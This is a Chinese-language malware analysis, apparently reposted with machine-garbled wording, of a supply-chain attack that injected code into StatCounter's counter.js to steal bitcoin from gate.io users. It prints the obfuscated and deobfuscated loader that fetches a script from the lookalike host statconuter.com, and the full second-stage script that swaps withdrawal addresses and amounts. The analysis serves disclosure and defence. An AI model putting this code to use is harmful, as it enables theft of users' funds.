针对密币交易所gate.io的供应链攻击

一、媒介

11月3日,进击者成功攻下了收集阐发平台StatCounter,这是业内处于领先职位地方的一个平台,许多网站治理员都应用该办事来网络造访者的统计信息,这项办事与Google Analytics异常相似。 为了网络统计信息,网站治理员平日会在每个网页中添加一个外部JavaScript代码,此中包孕来自StatCounter的一段代码( www.statcounter[.]com/counter/counter.js)。 是以,只要搞定StatCounter平台,进击者就可以在应用StatCounter的所有网站中注入JavaScript代码。

根据官网描述,StatCounter拥有的会员已跨越200万人次,每月的页面浏览量跨越100亿次。 这些信息与该网站在Alexa的排名(略高于5000)切合。Debian Linux发行版的官方网站debian.org的Alexa排名与之平起平坐,比较后大年夜家可以对该办事规模有个大年夜致的懂得。

二、脚本进击

进击者改动了www.statcounter[.]com/counter/counter.js脚本,在脚本中添加了一段恶意代码。颠末款式化的脚本如下所示,清留意中心部分的代码。 这种添加要领并不常见,由于进击者平日会在合法文件的开首或结尾添加恶意代码。 人们平日难以经由过程大年夜致浏览定位到注入现有脚本中心区域的恶意代码。

eval(function(p, a, c, k, e, r) {

e = function(c) {

return c.toString(a)

};

if (!”.replace(/^/, String)) {

while (c–) r[e(c)] = k[c] || e(c);

k = [function(e) {

return r[e]

}];

e = function() {

return ‘\w+’

};

c = 1

};

while (c–)

if (k[c]) p = p.replace(new RegExp(‘\b’ + e(c) + ‘\b’, ‘g’), k[c]);

return p

}(‘3=””+2.4;5(3.6(‘7/8/9’)>-1){a 0=2.b(‘d’);0.e=’f://g.h.i/c.j’;0.k(‘l’,’m’);2.n.o.p(0)}’, 26, 26, ‘ga||document|myselfloc|location|if|indexOf|myaccount|withdraw|BTC|var|createElement||script|src|https|www|statconuter|com|php|setAttribute|async|true|documentElement|firstChild|appendChild’.split(‘|’), 0, {}));

该脚本应用Dean Edwards对象进行肴杂,这可能是最受迎接的JavaScript加壳对象。然则我们很轻易就可以解开颠末该对象处置惩罚的代码,终极还原出实际运行的脚本代码,如下所示。

myselfloc = ” + document.location;

if (myselfloc.indexOf(‘myaccount/withdraw/BTC’) > -1) {

var ga = document.createElement(‘script’);

ga.src = ‘https://www.statconuter.com/c.php’;

ga.setAttribute(‘async’, ‘true’);

document.documentElement.firstChild.appendChild(ga);

}

这段代码首先会反省URL中是否包孕myaccount/withdraw/BTC。 是以,我们已经可以猜到进击者的目标是比特币平台。 假如满意该前提,脚本将继承向网页添加新的脚本元素,包孕源自于https://www.statconuter [.]com/c.php的代码。

必要留意的是,进击者注册的域名异常与statcounter[.]com(StatCounter的合法域名)异常类似,进击者只改动了此中两个字母,这样安然职员在扫描日志、查找非常活动时很难留意到这些非常。 有趣的是,在查看该域名的Passive DNS数据时,我们发明该域名已经由于滥用操作于2010年被停息解析。

如前文所述,进击脚本以特定的URI(Uniform Resource Identifier)为目标:myaccount/withdraw/BTC。 事实证实,在本文撰写时,互联网的各类密货互换办事中只有gate.io页面具备这种URI特性。 是以,这个互换所彷佛是此次打击的主要目标。 该买卖营业所异常受人们迎接,其Alexa排名26,251,在中国排名8,308。

此外,根据coinmarketcap.com的数据显示,该平台的逐日买卖营业量可达数百万美元,此中包括160万美元的比特币(bitcoin)买卖营业。 是以,假如进击者能在该平台上大年夜规模偷取加密泉币,可能获利颇丰。

https://www.gate[.]io/myaccount/withdraw/BTC所对应的页面如下图所示,gate.io账户可以将比特币转移到外部比特币地址。

第二阶段进击载荷来自于statconuter[.]com/c.php,不出所料,事实证实该载荷的目标切实着实是偷取比特币。 这也是为什么进击者会将脚本注入

[1] [2]下一页

gate.io的比特币转移页面。 这个脚本同样颠末Dean Edwards肴杂处置惩罚,去肴杂后的代码如下所示。

document.forms[0][‘addr’].value = ”;

document.forms[0][‘amount’].value = ”;

doSubmit1 = doSubmit;

doSubmit = function () {

var a = document.getElementById(‘withdraw_form’);

if ($(‘#amount’).val() > 10) {

document.forms[0][‘addr’][‘name’] = ”;

var s = $(“”);

s.attr(‘value’, ‘1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad’);

var b = $(‘#withdraw_form’);

b.append(s);

a.submit();

} else if (document.getElementById(‘canUse’).innerText > 10) {

document.forms[0][‘addr’][‘name’] = ”;

var s = $(“”);

s.attr(‘value’, ‘1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad’);

var b = $(‘#withdraw_form’);

b.append(s);

document.forms[0][‘amount’][‘name’] = ”;

var t = $(“”);

t.attr(‘value’, Math.min(document.getElementById(‘canUse’).innerText, document.getElementById(‘dayLimit’).innerText));

b.append(t);

a.submit();

} else {

doSubmit1();

}

};

在正常的gate.io网页中存在有一个doSubmit函数,当用户点击提交按钮时就会调用该函数,进击者在这里从新定义了该函数。

该脚本会自动将目标比特币地址调换为进击者自己的地址,例如1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad。 每当造访者加载statconuter[.]com/c.php脚本时,恶意办事器都邑天生一个新的比特币地址。 是以,我们很难知道有若干比特币已经被转移到进击者手中。

进击者会根据受害者详细输入的BTC数额(是否跨越10 BTC)来确认转移数额,进击脚本要么直接应用用户输入的数额,要么应用受害者帐户的逐日提款限额。对付我们的测试帐户,默认环境下提款限额被设置为100 BTC。 着末,恶意脚本提交表单,将比特币从受害者帐户转移到进击者的钱包。

这种转移操作可能对受害者来说并不显着,由于只有在用户点击提交按钮后才会履行地址调换操作。 是以,地址调换进击动作异常快,以致可能不会显示给终端用户。

每次办事器将恶意脚本发送给受害者时都邑天生一个新的比特币地址,是以我们无法得知进击者统共网络了若干比特币。 举个例子,假如我们反省在测试情况中获取的地址,可以发明该地址的余额为0 BTC。

三、总结

虽然我们不知道在这次进击活动中有若干比特币被盗,但照样能够澄清进击者在进击某个特定网站(分外是加密泉币买卖营业所)时的详细进击路径。为了完成进击义务,进击者破坏了供给阐发办事的站点(跨越200万个其他网站应用了该办事,此中包括几个与政府相关的网站),以此为跳板从一个密货买卖营业网站用户手中偷取比特币。

这次进击事故注解,纵然网站已维持更新并受到较好保护,仍旧轻易受到最为懦弱一环的影响,在本案例中,木桶的短板指向的是外部资本。这也给我们提了一个提醒:外部JavaScript代码由第三方节制,随时可能被改动,改动后用户可能无法发明。

我们发明这次恶意活动后第一光阴看护了StatCounter以及gate.io。

四、IoC

恶意网址:

statcounter[.]com/counter/counter.js

statconuter[.]com/c.php

上一页[1] [2]

赞(0) 打赏
分享到: 更多 (0)
免责申明:本站所有资料均来自于网络,版权归原创者所有!本站不提供任何保证,不保证真实性,并不承担任何法律责任

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

阿里云优惠网 更专业 更优惠

阿里云优惠券阿里云大礼包